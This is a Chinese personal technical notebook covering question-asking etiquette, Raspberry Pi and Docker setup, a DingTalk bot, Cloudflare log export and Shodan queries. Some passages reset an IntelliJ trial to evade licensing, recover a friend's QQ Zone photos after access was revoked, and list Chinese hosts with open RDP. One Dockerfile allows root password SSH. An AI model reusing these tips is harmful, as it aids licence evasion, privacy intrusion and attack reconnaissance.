    • 周全的思考,准备好你的问题,草率的发问只能得到草率的回答,或者根本得不到任何答案

    提问之前

    • 用中英文进行Google, 翻前两页的结果, 往往Stack Overflow网站上的答案就是正确答案. 如果没有找到, 更换可能的关键词多次尝试

    • 在FAQ/文档里找答案, 耐心读英文文档是基本素养

    发问的形式

    • 使用言简意赅,描述准确的标题

    • 精确描述, 信息量大, 但是不啰嗦

      • 尽可能详细而明确的描述症状

      • 提供问题发生的环境(机器配置、操作系统、应用程序以及别的什么)

      • 说明你在提问前是怎样去研究和理解这个问题的

      • 说明你在提问前采取了什么步骤去解决它

      • 在自己的尝试中, 排除了哪些可能的原因

      • 罗列最近做过什么可能有影响的硬件、软件变更

      • 尽量想象一个程序员会怎样反问你,在提问的时候预先给他答案

    • 对每一个关键步骤截图, 如果有错误信息, **截图和文字版**连同产生问题的**代码**都要发给对方

    • 给出自己出问题的代码, 必须是对方复制后就能立即运行, 并且复现问题的最简代码. 删去与问题无关的部分

    • 别问应该自己解决的问题, 避免无意义的疑问

    问题解决后

    • 简短说明自己是如何解决的, 后续尝试的过程

    • 如果别人对你有帮助, 感谢一下对方, 比如发个红包什么的

    附加

    参考

    电脑出现故障,如何正确地提问 https://vjudge1.github.io/2015/07/01/how-to-ask.html

    你会问问题吗 http://coolshell.cn/articles/3713.html

    《提问的艺术:如何快速获得答案》(精读版) http://bbs.csdn.net/topics/390307835

    本文的图片版

    (方便在聊天工具里甩给对方):

    如何明智地向程序员提问


    使用chrome缓存找到被删的qq空间的图片

    看到有好友秀恩爱,然后就没有权限访问了,但打开过的图片有chrome缓存,于是便尝试从缓存找到图片url

    chrome的缓存可以在这里找到:

    chrome://cache/
    

    然后随意点开一张qq空间的图片,发现其包含psb(毕竟右键保存的文件名默认就是psb),然后就是搜索咯

    在点进去的缓存页面可以F12执行js,查看缓存图片:

    代码来源:http://www.sensefulsolutions.com/2012/01/viewing-chrome-cache-easy-way.html

        (function() {
        var preTags = document.getElementsByTagName('pre');
        var preWithHeaderInfo = preTags[0];
        var preWithContent = preTags[2];
    
        var lines = preWithContent.textContent.split('\n');
    
        // get data about the formatting (changes between different versions of chrome)
        var rgx = /^(0{8}:\s+)([0-9a-f]{2}\s+)[0-9a-f]{2}/m;
        var match = rgx.exec(lines[0]);
    
        var text = '';
        for (var i = 0; i < lines.length; i++) {
            var line = lines[i];
            var firstIndex = match[1].length; // first index of the chars to match (e.g. where a '84' would start)
            var indexJump = match[2].length; // how much space is between each set of numbers
            var totalCharsPerLine = 16;
            index = firstIndex;
            for (var j = 0; j < totalCharsPerLine; j++) {
                var hexValAsStr = line.substr(index, 2);
                if (hexValAsStr == '  ') {
                    // no more chars
                    break;
                }
    
                var asciiVal = parseInt(hexValAsStr, 16);
                text += String.fromCharCode(asciiVal);
    
                index += indexJump;
            }
        }
    
        var headerText = preWithHeaderInfo.textContent;
        var elToInsertBefore = document.body.childNodes[0];
        var insertedDiv = document.createElement("div");
        document.body.insertBefore(insertedDiv, elToInsertBefore);
    
        // find the filename
        var nodes = [document.body];
        var filepath = '';
        while (true) {
            var node = nodes.pop();
            if (node.hasChildNodes()) {
                var children = node.childNodes;
                for (var i = children.length - 1; i >= 0; i--) {
                    nodes.push(children[i]);
                }
            }
    
            if (node.nodeType === Node.TEXT_NODE && /\S/.test(node.nodeValue)) {
                // 1st depth-first text node (with non-whitespace chars) found
                filepath = node.nodeValue;
                break;
            }
        }
    
        outputResults(insertedDiv, convertToBase64(text), filepath, headerText);
    
        insertedDiv.appendChild(document.createElement('hr'));
    
        function outputResults(parentElement, fileContents, fileUrl, headerText) {
            // last updated 1/27/12
            var rgx = /.+\/([^\/]+)/;
            var filename = rgx.exec(fileUrl)[1];
    
            // get the content type
            rgx = /content-type: (.+)/i;
            var match = rgx.exec(headerText);
            var contentTypeFound = match != null;
            var contentType = "text/plain";
            if (contentTypeFound) {
                contentType = match[1];
            }
    
            var dataUri = "data:" + contentType + ";base64," + fileContents;
    
            // check for gzipped file
            var gZipRgx = /content-encoding: gzip/i;
            if (gZipRgx.test(headerText)) {
                filename += '.gz';
            }
    
            // check for image
            var imageRgx = /image/i;
            var isImage = imageRgx.test(contentType);
    
            // create link
            var aTag = document.createElement('a');
            aTag.textContent = "Left-click to download the cached file";
            aTag.setAttribute('href', dataUri);
            aTag.setAttribute('download', filename);
            parentElement.appendChild(aTag);
            parentElement.appendChild(document.createElement('br'));
    
            // create image
            if (isImage) {
                var imgTag = document.createElement('img');
                imgTag.setAttribute("src", dataUri);
                parentElement.appendChild(imgTag);
                parentElement.appendChild(document.createElement('br'));
            }
    
            // create warning
            if (!contentTypeFound) {
                var pTag = document.createElement('p');
                pTag.textContent = "WARNING: the type of file was not found in the headers... defaulting to text file.";
                parentElement.appendChild(pTag);
            }
        }
    
        function getBase64Char(base64Value) {
            if (base64Value < 0) {
                throw "Invalid number: " + base64Value;
            } else if (base64Value <= 25) {
                // A-Z
                return String.fromCharCode(base64Value + "A".charCodeAt(0));
            } else if (base64Value <= 51) {
                // a-z
                base64Value -= 26; // a
                return String.fromCharCode(base64Value + "a".charCodeAt(0));
            } else if (base64Value <= 61) {
                // 0-9
                base64Value -= 52; // 0
                return String.fromCharCode(base64Value + "0".charCodeAt(0));
            } else if (base64Value <= 62) {
                return '+';
            } else if (base64Value <= 63) {
                return '/';
            } else {
                throw "Invalid number: " + base64Value;
            }
        }
    
        function convertToBase64(input) {
            // http://en.wikipedia.org/wiki/Base64#Example
            var remainingBits;
            var result = "";
            var additionalCharsNeeded = 0;
    
            var charIndex = -1;
            var charAsciiValue;
            var advanceToNextChar = function() {
                charIndex++;
                charAsciiValue = input.charCodeAt(charIndex);
                return charIndex < input.length;
            };
    
            while (true) {
                var base64Char;
    
                // handle 1st char
                if (!advanceToNextChar()) break;
                base64Char = charAsciiValue >>> 2;
                remainingBits = charAsciiValue & 3; // 0000 0011
                result += getBase64Char(base64Char); // 1st char
                additionalCharsNeeded = 3;
    
                // handle 2nd char
                if (!advanceToNextChar()) break;
                base64Char = (remainingBits << 4) | (charAsciiValue >>> 4);
                remainingBits = charAsciiValue & 15; // 0000 1111
                result += getBase64Char(base64Char); // 2nd char
                additionalCharsNeeded = 2;
    
                // handle 3rd char
                if (!advanceToNextChar()) break;
                base64Char = (remainingBits << 2) | (charAsciiValue >>> 6);
                result += getBase64Char(base64Char); // 3rd char
                remainingBits = charAsciiValue & 63; // 0011 1111
                result += getBase64Char(remainingBits); // 4th char
                additionalCharsNeeded = 0;
            }
    
            // there may be an additional 2-3 chars that need to be added
            if (additionalCharsNeeded == 2) {
                remainingBits = remainingBits << 2; // 4 extra bits
                result += getBase64Char(remainingBits) + "=";
            } else if (additionalCharsNeeded == 3) {
                remainingBits = remainingBits << 4; // 2 extra bits
                result += getBase64Char(remainingBits) + "==";
            } else if (additionalCharsNeeded != 0) {
                throw "Unhandled number of additional chars needed: " + additionalCharsNeeded;
            }
    
            return result;
        }
        })()
    

    例如找到http://a3.qpic.cn/psb?/V12C1bLj2DcCgb/f9hTWn5wbxt3dZd5MlUCHX6tA9oqVOudgT2rqARLltk!/a/dI4BAAAAAAAA

    但这样只是一张小图,我们当然希望有大图,比对大图的url发现只要将上述url的/a/替换为/b/即可

    所以总结一下就是打开缓存页面chrome://cache/,查找psb字符串,找到想要的图片,如果是小图就改一下url得到大图


    为什么我喜欢写博客?

    摘自 https://manishearth.github.io/blog/2018/08/26/why-i-enjoy-blogging/

    写下来的过程发现自己还有不懂的,给自己讲清楚甚至能发现rust标准库的bug,本质上是给很多人讲需要考虑所有方面而不是最小必要;当你觉得显而易见的时候很容易失去解释清楚的能力

    读旧的文章很有趣 让自己回到写作的那一时刻 比较当时自己的理解和现在的 体会自己的进步,重新学习已经忘了的

    写作能换个脑子 在不同工作之前切换 使用不同的脑区 整天都有精力

    写blog能偷懒 以后有人问到就能直接给链接说“你想知道更多的话 我已经在这写过了”

    别人写过了还要不要写?要写! 你的理解不同,散落在不同地方的知识综合起来也有价值

    你真正的职责是当你有空free了,你应该让其他人也轻松free,如果你有能力power,你的职责就是为其他人赋能empower

    自学不意味着当一个编译器的fuzzer随机尝试,而是学文档tutorial,从书籍学算法——自学只是说你完全掌控自己的学习过程,但仍然依赖其他人的工作

    你也应该写博客 这里有一些建议https://jvns.ca/blog/2016/05/22/how-do-you-write-blog-posts/


    支持被at的(outgoing)钉钉机器人

    需要自己注册一个企业,管理员才能创建这种机器人,机器人只能在内部群使用

    文档: https://ding-doc.dingtalk.com/doc#/serverapi2/elzz1p

    其中缺失了关于atDingtalkIds的描述,需要看这个: https://juejin.im/post/6844903922029576205

    需要注意的地方有:修改服务器回调通知地址和修改上线的时候,钉钉就会验证服务器是否正常,你可以while true; nc -lp 8888 < tmp.txt; done 死循环提供个正常的http服务

    POST发来的数据里面有临时的url可以发消息,还有senderId是发送者id用来在atDingtalkIds中使用

    收到的POST内容:

    {"conversationId":"cidoAgtPbnu9MyulIyt0kpNYg==","atUsers":[{"dingtalkId":"$:LWCP_v1:$Jh2MBlTKQnC/tN4tDTZB3eOIi+xOatMW"}],"chatbotCorpId":"dingb1d0b0ca51cxxxxxx","chatbotUserId":"$:LWCP_v1:$Jh2MBlTKQnC/tN4tDTZB3eOIi+xOatMW","msgId":"msgWjYj1k8LPNOBBy+jxNKwQw==","senderNick":"发送者姓名","isAdmin":false,"senderStaffId":"2665036700000000","sessionWebhookExpiredTime":1600622026555,"createAt":1600616626487,"senderCorpId":"dingb1d0b0ca51c029b24ac5d6980000000","conversationType":"2","senderId":"$:LWCP_v1:$9gY0EpfG9gA0e4xnPjDHugeGB0JtdCJV","conversationTitle":"群组标题","isInAtList":true,"sessionWebhook":"https://oapi.dingtalk.com/robot/sendBySession?session=b28f49899ea1cba0d256673d66ffe386","text":{"content":" 1+1"},"msgtype":"text"}
    

    回复发送者一个666:

    curl https://oapi.dingtalk.com/robot/sendBySession?session=b28f49899ea1cba0d256673d66ffe386 -H "Content-Type: application/json" --data '{"msgtype":"text", "text":{"content":"666"}, "at":{"atDingtalkIds":["$:LWCP_v1:$9gY0EpfG9gA0e4xnPjDHugeGB0JtdCJV"]}}'
    

    Go语言

    安装

    wget -q https://golang.org/dl/go1.15.3.linux-amd64.tar.gz &&\
        tar -C /usr/local -xzf go1.15.3.linux-amd64.tar.gz
    export PATH=$PATH:/usr/local/go/bin
    

    提取build失败缺失的库安装

    go build |&  grep cannot |cut -d'"' -f2|xargs go get
    

    IDEA2020.2 30天后重新试用

    参考: http://scz.617.cn:8/windows/202010261152.txt

    regedit找到HKCU\SOFTWARE\JavaSoft\Prefs\jetbrains\idea,其中会有目录包含evlsprt3\202,删掉这个目录里面的evlsprt和evlsprt2

    然后删除这些目录:

    rd /s /q "%APPDATA%\JetBrains\IntelliJIdea2020.2\eval"
    del "%APPDATA%\JetBrains\PermanentDeviceId"
    del "%APPDATA%\JetBrains\PermanentUserId"
    del "%APPDATA%\JetBrains\bl"
    del "%APPDATA%\JetBrains\crl"
    

    编辑”%APPDATA%\JetBrains\IntelliJIdea2020.2\options\other.xml”

    删除包含evlsprt.202或evlsprt2.202的行


    树莓派到手后配置

    一款新的树莓派4到手,默认为英国键盘布局不能输入@#符号,显示分辨率不够1080p,以及有线网络和无线网络优先级需要调整

    修改键盘布局

    查到有教程说sudo raspi-config里可以修改键盘布局,实测发现改了之后只敲了一次@之后又被改回去了,还是得修改输入法:

    参考 https://jingyan.baidu.com/article/3aed632e29dfd87011809169.html

    sudo apt install fcitx
    reboot
    

    右上角有输入法图标 管理键盘 删掉英国 加上英语(美国)即可

    显示分辨率修改

    参考 https://www.ncnynl.com/archives/201607/226.html

    树莓派有两种hdmi输出模式,1是CEA电视,2是DMT电脑显示器

    查看当前显示器支持的分辨率们:

    tvservice -m CEA
    tvservice -m DMT
    

    实际上显示出来的并不一定完整,还需要自己多测试:例如设置为 640x480 60Hz

    tvservice -e "DMT 4"
    

    建议在终端里先敲这个命令 当显示不出来的时候可以按↑回车改回一个正常显示,不至于重启

    完整的列表在上述参考链接中有了,可以自己多试试,切换分辨率后记得移动鼠标 不然不会显示

    但是我希望的分辨率 1920x1080 60Hz不在DMT列表中,这就需要自定义分辨率了

    修改/boot/config.txt,添加:

    hdmi_cvt=1920 1080 60 3
    hdmi_group=2
    hdmi_mode=87
    hdmi_drive=2
    

    其中hdmi_cvt的解释: https://www.raspberrypi.org/documentation/configuration/config-txt/video.md

    其中最后一个3是sdtv_aspect 长宽比 我这里是16:9 所以填了3

    修改后重启即可,似乎目前树莓派也学聪明了,即使config.txt里配置了错误的值显示不出来,也会自动回退到720p保证显示

    调整无线网络和有线网络的优先级

    我希望外网访问(default路由)走wifi,内网访问(10.0.0.0/8)走有线,但默认联网后有线也会占据default路由而且优先级比无线高(跃点数小)

    两个网络都是使用dhcp获取IP,所以可以在dhcp的配置文件里配置metric

    参考: https://raspberrypi.stackexchange.com/a/50951

    编辑/etc/dhcpcd.conf

    interface wlan0
    metric 200
    
    interface eth0
    metric 300
    

    然后编辑dhcp的hook自动执行route命令:

    参考 https://wiki.archlinux.org/index.php/dhcpcd#DHCP_static_route.28s.29

    编辑/etc/dhcpcd.exit-hook

    route add -net 10.0.0.0/8 gw <网关ip> dev eth0
    

    修改Electron应用

    想让这个Electron应用浏览器打开自定义的页面,但人家没提供F12(虽然最后发现也没啥用Orz

    参考: 吾爱破解-Electron跨平台程序破解的一般思路

    npm install asar -g
    # 在resources目录可以找到app.asar,这样解包:
    asar e app.asar tmp
    
    # 修改后重新打包:
    asar p tmp/ app.asar
    

    具体的修改挺简单,找到入口的electron.js

    注释掉new BrowserWindow的titleBarStyle: ‘hidden’, removeMenu() 修改.loadURL(url)


    Cloudflare免费账户 获取访问日志

    原始日志只对付费的企业版开放,难道我们就没有方法获取访问日志来分析流量嘛?

    看到防火墙的拦截日志,又发现“绕过”这个action也会记录日志,那我们就可以创建一个绕过本身就没有启用的防护,就能记录所有流量了。但注意这个防火墙日志是抽样记录的。

    看F12 Network发现人家查询接口用的是GraphQL,然后发现需要通过introspection才能知道有哪些可用的字段

    cloudflare的文档: https://developers.cloudflare.com/analytics/graphql-api/getting-started/querying-basics

    实际的introspection请求:https://stackoverflow.com/questions/34199982/how-to-query-all-the-graphql-type-fields-without-writing-a-long-query

    查询限制:一次分页可以获取最大10000条记录,filter必须有内容,时间跨度一次不能超过24小时

    import requests
    from pprint import pprint
    from datetime import timezone,datetime,timedelta
    sess=requests.session()
    from config import headers
    
    def fetch(ts):
        res = []
        end = ts.strftime("%Y-%m-%dT%H:%M:%SZ")
        start = (ts-timedelta(days=1)).strftime("%Y-%m-%dT%H:%M:%SZ")
        x=sess.post("https://api.cloudflare.com/client/v4/graphql", headers=headers, data= '{"operationName":"ActivityLogQuery","variables":{"zoneTag":"8a4335a74373cec7fd053241dc3e3f41","filter":{"datetime_geq":"'+start+'","datetime_leq":"'+end+'"},"limit":10000,"activityFilter":{"datetime_geq":"'+start+'","datetime_leq":"'+end+'"}},"query":"query ActivityLogQuery($zoneTag: string, $filter: FirewallEventsAdaptiveGroupsFilter_InputObject, $activityFilter: FirewallEventsAdaptiveFilter_InputObject, $limit: int64\\u0021) { viewer { zones(filter: {zoneTag: $zoneTag}) { total: firewallEventsAdaptiveByTimeGroups(limit: 1, filter: $filter) { count avg { sampleInterval __typename } __typename } activity: firewallEventsAdaptive(filter: $activityFilter, limit: $limit, orderBy: [datetime_DESC, rayName_DESC, matchIndex_ASC]) { action clientASNDescription clientAsn clientCountryName clientIP clientRequestHTTPHost clientRequestHTTPMethodName clientRequestHTTPProtocol clientRequestPath clientRequestQuery datetime rayName ruleId source userAgent matchIndex metadata { key value __typename } sampleInterval originResponseStatus edgeResponseStatus clientRefererScheme clientRefererHost clientRefererPath clientRefererQuery clientIPClass  __typename } __typename } __typename }}"}')
        #print(x.json())
        return x.json()["data"]["viewer"]['zones'][0]['activity']
    
    
    logformat = ['datetime', 'clientIP', 'clientIPClass', 'edgeResponseStatus', 'originResponseStatus', 'clientRequestHTTPMethodName', 'clientRequestPath', 'clientRequestQuery', 'clientRequestHTTPProtocol', 'clientRefererScheme', 'clientRefererHost', 'clientRefererPath', 'clientRefererQuery', 'userAgent', 'action', 'clientASNDescription', 'clientAsn', 'clientCountryName', 'clientRequestHTTPHost',  'matchIndex', 'ruleId', 'sampleInterval', 'source', 'rayName']
    fp=open("access.log", "w")
    ts = datetime.now(tz=timezone.utc)
    knownrays=set()
    data = None
    while data is None or len(data)==10000:
        data = fetch(ts)
        for i in data:
            if i['rayName'] in knownrays:
                continue
            line = "\t".join(str(i[j]) for j in logformat)
            fp.write(line+"\n")
        last = data[-1]
        knownrays.update([i['rayName'] for i in data if i['datetime']==last['datetime']])
        print(last['datetime'], "len(knownrays)=",len(knownrays))
        ts = datetime.strptime(last['datetime'], "%Y-%m-%dT%H:%M:%SZ")
    

    然后就能分析例如访问最多的IP: cut -d$'\t' -f2 access.log|sort|uniq -c|sort -hr|head -n 30


    shodan 搜索开放特定端口的ip列表

    这个需求只需要使用faucet即可,免费

    举个例子:搜索3389的中国ip:

    https://beta.shodan.io/search/facet?query=port%3A3389+country%3Acn&facet=ip

    也可以使用shodan的python包来查询,需要注册一个账号得到api key:

    import shodan
    x=shodan.Shodan("APIKEY")
    data=x.search("port:3389 country:cn", facets=['ip:10000'])
    iplist=([i["value"] for i in data["facets"]["ip"]])
    

    找到 /var/lib/docker/overlay2 对应的容器

    硬盘空间不够,可能是docker占用了太多空间

    参考 https://fabianlee.org/2021/04/08/docker-determining-container-responsible-for-largest-overlay-directories/

    ncdu /var/lib/docker/overlay2 #查看哪些目录占据空间最大
    docker inspect $(docker ps -qa) | jq -r 'map([.Name, .GraphDriver.Data.MergedDir]) | .[] | "\(.[0])\t\(.[1])"' > docker-mappings.txt
    
    ================================================ FILE: docs/Docker/index.html ================================================ Docker - notebook

    Docker

    搬运镜像

    IMAGE=mysql
    docker save $IMAGE | 7z a -si $IMAGE.tar.7z
    7z x -so $IMAGE.tar.7z | docker load
    

    安装Docker

    curl -fsSL https://get.docker.com -o get-docker.sh
    sh get-docker.sh --mirror Aliyun
    

    myubuntu 基础镜像

    @TAG 时区 timezone

    简单地将Docker当成虚拟机来使用的话,自然要准备个好用的基础镜像咯

    基于目前最新的ubuntu18.04,配置apt源、pip源、时区、ssh允许密码登录

    Dockerfile:

    FROM ubuntu:18.04
    RUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list && \
        sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list # 修改apt源
    RUN apt update && apt install -y ssh curl wget net-tools iputils-ping netcat python3-pip python-pip nano vim tzdata screen psmisc
    RUN ln -sf /usr/share/zoneinfo/Asia/Shanghai  /etc/localtime # 修改时区
    RUN mkdir -p ~/.pip && echo '[global]\nindex-url = http://pypi.doubanio.com/simple/\n[install]\ntrusted-host=pypi.doubanio.com\n'>  ~/.pip/pip.conf
    RUN sed -i 's/prohibit-password/yes/g' /etc/ssh/sshd_config && sed -i 's/#PermitRootLogin/PermitRootLogin/g' /etc/ssh/sshd_config # 允许root用户密码登录
    RUN echo root:badpassword|chpasswd # 记得修改这里的密码
    ADD run.sh /
    RUN chmod +x /run.sh
    CMD /run.sh
    

    run.sh:

    #!/bin/bash
    service ssh start
    # 在容器内安装了mysql等之后可以在run.sh这里添加相应的启动命令
    sleep infinity
    

    build命令:

    docker build -t myubuntu18 .
    

    Install 安装

    建议参见如何翻墙,部署http proxy

    安装之前,建议修改apt源

    安装之前,或许要对内核升级,如果执行安装脚本发出了对aufs的警告,请先看下面的 解决aufs的问题

    安装命令:

    curl -fsSL get.docker.com -o get-docker.sh
    sh get-docker.sh --mirror Aliyun
    

    其中最后一步的apt-get install docker-engine耗时较长,看起来很像卡死,需要耐心等待

    安装后执行docker version,没有报错即可

    解决aufs的问题

    apt-get install lxc wget bsdtar curl
    apt-get install linux-image-extra-$(uname -r)
    modprobe aufs
    

    加速镜像下载

    在执行以下操作之前,请检查docker的版本:docker -v

    如果你的docker版本为1.6.2,请参考下方 卸载docker

    建议使用阿里云的镜像源

    sudo mkdir -p /etc/docker
    sudo tee /etc/docker/daemon.json <<-'EOF'
    {
      "registry-mirrors": ["https://h0kyslzs.mirror.aliyuncs.com"]
    }
    EOF
    sudo systemctl daemon-reload
    sudo systemctl restart docker
    

    另外你也可以使用USTC的镜像源:参考 https://lug.ustc.edu.cn/wiki/mirrors/help/docker


    Docker旧版本卸载

    如果你的docker是使用apt-get install docker.io安装的,先执行以下命令卸载:

    apt-get remove docker.io
    apt-get autoremove
    rm -rf /var/lib/docker
    

    然后就可以执行安装命令了


    获得容器的ip

    @TAG getip

    alias getip="docker inspect  --format '{{.NetworkSettings.IPAddress}}' "
    
    getip 容器名称
    

    这种方案对macvlan的容器不适用,参见 获取macvlan容器的IP


    导出导入

    搬运镜像–save导出镜像

    由于网络带宽(流量)往往是瓶颈资源,所以产生更小的压缩文件很有必要,这里我们可以生成 tar.7z 文件:apt-get install -y p7zip-full

    docker save 镜像名称 | 7z a -si 导出文件名.tar.7z
    

    这是生成tar.gz文件:

    docker save 镜像名称 | gzip >导出文件名.tar.gz
    

    搬运镜像–load载入镜像

    如果是 tar.7z 文件,需要调用 7z 命令解压:

    7z x -so 文件名.tar.7z | docker load
    

    如果是 tar.gz 文件,可以直接载入:

    docker load < 文件名.tar.gz
    

    Export导出容器 并不常用

    直接导出容器并不常用,建议docker commit 容器名称 保存成的镜像名称,然后导出镜像

    导出容器得到的是tar文件,没有进行压缩,我们需要手动执行压缩

    docker export 容器的名称或ID | gzip >导出文件名.tar.gz
    

    Import导入容器

    虽然上一步我们压缩了,但docker可以直接import,不需要用gunzip

    docker import 文件名
    

    解决iptables failed - No chian/target/match by that name

    如果docker安装的时候没有自动把需要的规则链加上,可以手动添加

    iptables -t nat -N DOCKER
    iptables -t filter -N DOCKER
    

    附:如果需要删除链条,可以用iptables-save导出后手动编辑后iptables-restore


    迁移Docker文件夹到其他硬盘

    当镜像多了起来的时候,/var/lib所在的磁盘分区很可能被占满,这时候要考虑迁移到其他硬盘,此处以迁移到/home/docker为例说明

    # 首先记得关闭服务
    service docker stop
    mv /var/lib/docker /home/
    # 然后修改服务配置文件/etc/default/docker,此处建议手动vim编辑,在启动参数中加入这个:
    #    --graph='/home/docker'
    echo -e "\nDOCKER_OPTS=\"--graph='/home/docker'\"" >> /etc/default/docker
    

    解决debian等容器没有ifconfig,killall的问题

    apt-get install net-tools psmisc
    

    设置容器低权限用户运行

    @TAG user 安全最佳实践

    在Dockerfile中加入

    User nobody
    

    容器运行后exec进去默认是nobody用户,并不能su啥的,这时候exec需要带参数-u表示用指定用户身份进入容器:

    docker exec -i -t -u root 容器名称 /bin/bash
    

    设置容器/etc/resolv.conf和/etc/hosts

    在容器中这两个文件是以mount形式挂载的,不能unmount;即使进行修改,容器重启后修改就丢失了

    其实这两个文件应该在容器创建的时候指定参数--dns--add-host来加以控制:

    docker run -d --dns 114.114.114.114 --add-host example.com:1.2.3.4 容器名称
    

    容器限制参数设置

    当容器是开放给不可信域的时候(如部署一个CTF的pwn题目),虽然容器逃逸0-day我也没办法,但限制一下容器资源占用防止搅屎也是很有必要的

    --cpu-shares 512 --cpu-period=100000 --cpu-quota=50000 --memory 104857600 --ulimit=nofile=65536 --pids-limit=200 --blkio-weight=512 --restart="always"
    

    效果简介:如上配置最多占用 50% 单个 CPU ,最多占用100MB物理内存,容器内进程数目最多200个

    --cpu-shares表示相对利用占比,不设置的默认值为1024,单个CPU是1024,只有当容器试图占用100%的CPU时才会体现作用,举个例子:

    From: http://blog.opskumu.com/docker-cpu-limit.html 假如一个 1core 的主机运行 3 个 container,其中一个 cpu-shares 设置为 1024,而其它 cpu-shares 被设置成 512。当 3 个容器中的进程尝试使用 100% CPU 的时候「尝试使用 100% CPU 很重要,此时才可以体现设置值」,则设置 1024 的容器会占用 50% 的 CPU 时间,其他两个容器则只能分别占用到 25% 的 CPU 时间。 如果主机是 3core,运行 3 个容器,两个 cpu-shares 设置为 512,一个设置为 1024,则此时每个 container 都能占用其中一个 CPU 为 100%。

    --cpu-period表示按多少秒分片,例如设置为100000就是按100ms分割,同时设置--cpu-quota为50000就是50ms,效果是同时只能使用0.5个CPU

    --memory限制容器使用的物理内存,当容器超出时,其中的进程会被kill,详细请参考http://blog.opskumu.com/docker-memory-limit.html

    --blkio-weight表示IO相对权重,详细请参考http://blog.opskumu.com/docker-io-limit.html


    快速部署ftp

    @TAG vsftpd

    vsftpd的配置真是让人头疼,不如docker search ftp一番,然后google一下找到对应的Docker Hub页面

    使用步骤:

    docker run -d --name ftpd_server -p 21:21 -p 30000-30009:30000-30009 -e "PUBLICHOST=localhost" -v /path/to/the_ftp_directory:/data stilliard/pure-ftpd:hardened
    docker exec -it ftpd_server /bin/bash
    #进入容器后创建用户
    pure-pw useradd bob -f /etc/pure-ftpd/passwd/pureftpd.passwd -m -u ftpuser -d /data
    

    快速部署wordpress

    @TAG sub_filter

    想搭建一个自己的blog,选择玩一玩wordpress咯,这里记录一下完整的流程和遇到的问题及解决方案

    技术相关: Docker Nginx HTTPS

    目标: 快速搭建一个全站https的wordpress站点,域名为example.com

    完整流程:

    1. 前期准备:域名+vps

    注册域名 如果面向国内访问,还需要备案咯;别忘了配置DNS解析

    买个vps服务器,建议选择香港vps

    1. 安装Docker和Nginx
    curl -fsSL https://get.docker.com -o get-docker.sh
    sh get-docker.sh --mirror Aliyun
    apt-get install -y nginx
    
    1. 启动一个mysql的镜像:
    # Google搜索关键词 "docker mysql"
    docker run --name mysql -e MYSQL_ROOT_PASSWORD=这里改成你想设置的密码 -d mysql
    # Google搜索关键词 "docker wordpress"
    docker run --name wp --link mysql:mysql -p 6666:80 -d wordpress
    
    1. 域名https证书获取以及启用https访问,此部分具体见Nginx.md获得Let's encrypt免费https证书配置安全的https部分

    2. 配置Nginx,完整配置如下:

    server{
        server_name *.example.com example.com;
        location /.well-known/acme-challenge { #这是let's encrypt申请证书的时候用到的目录
            alias /tmp/acme/;
            try_files $uri =404;
        }
        location /{
            rewrite ^ https://$host$request_uri? permanent;
        }
    }
    server{
        server_name *.example.com example.com;
        include https.conf;
        access_log /var/log/nginx/example_access.log;
        error_log /var/log/nginx/example_error.log;
        ssl_certificate /home/keys/example.crt;
        ssl_certificate_key /home/keys/example.key;
        location / {
            proxy_pass http://127.0.0.1:6666;
            proxy_set_header Host $host;
            proxy_set_header Accept-Encoding ""; #禁止后端返回gzip内容,保证能够替换
            sub_filter_once off; #多次替换 不只是替换一次
            sub_filter "http://www.example.com" "https://www.example.com";
        }
    }
    

    遇到的坑

    1. docker run的时候忘记-p参数

    建议还是把端口映射出来,在容器重启后容器的内网IP是会发生变化的,不适合将172.17.0.*这种IP写入nginx配置

    此时我选择了docker rm -f 容器ID强制删掉容器,再加上-p参数后启动

    1. 全站https

    虽然我的https.conf中定义了HSTS,浏览器也确实会把所有的请求都自动用https协议访问,但是还是由于form的action为http协议而警告不安全(在Chrome开发人员工具的Console看到),也没有小绿锁显示。所以要保证服务器输出给浏览器的内容就是https的链接

    一开始选择了官方wordpress的方法(Google关键词”wordpress https”),结果导致了下文第三点的折腾

    最终选择的方案是在nginx反向代理的时候替换文本内容,使用sub_filter这个模块进行文本内容替换

    遇到了问题,这个sub_filter不起作用,(Google关键词 “sub_filter not working”)原因是容器返回的内容启用了gzip,无法替换,方法是加入一行配置禁止容器的Apache使用gzip: proxy_set_header Accept-Encoding “”;

    参考:

    http://stackoverflow.com/questions/31893211/http-sub-module-sub-filter-of-nginx-and-reverse-proxy-not-working

    1. 由于在后台修改了Wordpress Address和Site Address改为https的链接,导致后台无法打开,重定向死循环

    解决方案是进入mysql容器手动修改,把进行的修改改回去

    问题在于我也并不知道改了啥,在终端mysqlselect * from wp_options;有些行太长导致关键内容刷屏而过,不方便查看表

    我的方法是先mysqldump -p密码 wordpress >test.sql,再用nano打开test.sql,用Ctrl+W搜索https(Google关键词”nano search”),把对应的地方找到改回http,保存后用mysql -p密码 wordpress < test.sql导入数据库 完事~


    Dockerfile 中的 apt-get

    为了让 apt-get 顺利静默执行,需要配置环境变量防止交互:

    DEBIAN_FRONTEND=noninteractive apt-get install -y ...
    

    让Docker容器得到内网IP

    这里的内网不是只有主机可以访问的容器Docker内网,而是主机接入的企业内网这种;如果你能直接通过设置IP获得公网IP,当然按照这个方法也能给容器分配公网IP

    注意:此方法Docker容器虽然获得了和主机地位相同的IP,但容器无法使用主机的IP与主机通讯,主机好像也不能访问容器的IP,这是Linux内核为了隔离性和安全性做出的限制

    参考:

    不用端口转发给容器分配公网IP地址 ASSIGN PUBLIC IP ADDRESS TO DOCKER CONTAINER WITHOUT PORT BINDING.

    Macvlan and IPvlan basics

    Docker Networking Tip – Macvlan driver

    PPT Docker Networking - Common Issues and Troubleshooting Techniques

    做法也很简单,首先创建一个Macvlan类型的docker网络,然后在创建容器的时候加入这个网络并指定IP/不指定则自动分配

    例子:主机(网卡eth0)的IP为10.1.1.2,网关为10.1.1.1,主机所处的IP段是10.1.1.1/24,在该网段内主机可以任意获得IP,我们希望容器分配在10.1.1.65~10.1.1.126之间 (即 10.1.1.64/26)

    附: 这是一个输入Network 10.1.1.64/26转换为HostMin 10.1.1.65~ HostMax 10.1.1.126的计算器

    docker network create -d macvlan -o macvlan_mode=bridge -o parent=eth0 --subnet=10.1.1.0/24 --ip-range=10.1.1.64/26 --gateway=10.1.1.1 macvlan_network
    
    docker run --net=macvlan_network --ip=10.1.1.100 -d nginx
    

    现在你可以访问 http://10.1.1.100 来看到nginx的欢迎页面了,你需要在内网另一台机器上访问(我的发现是主机和这样分配的容器是不互通的)

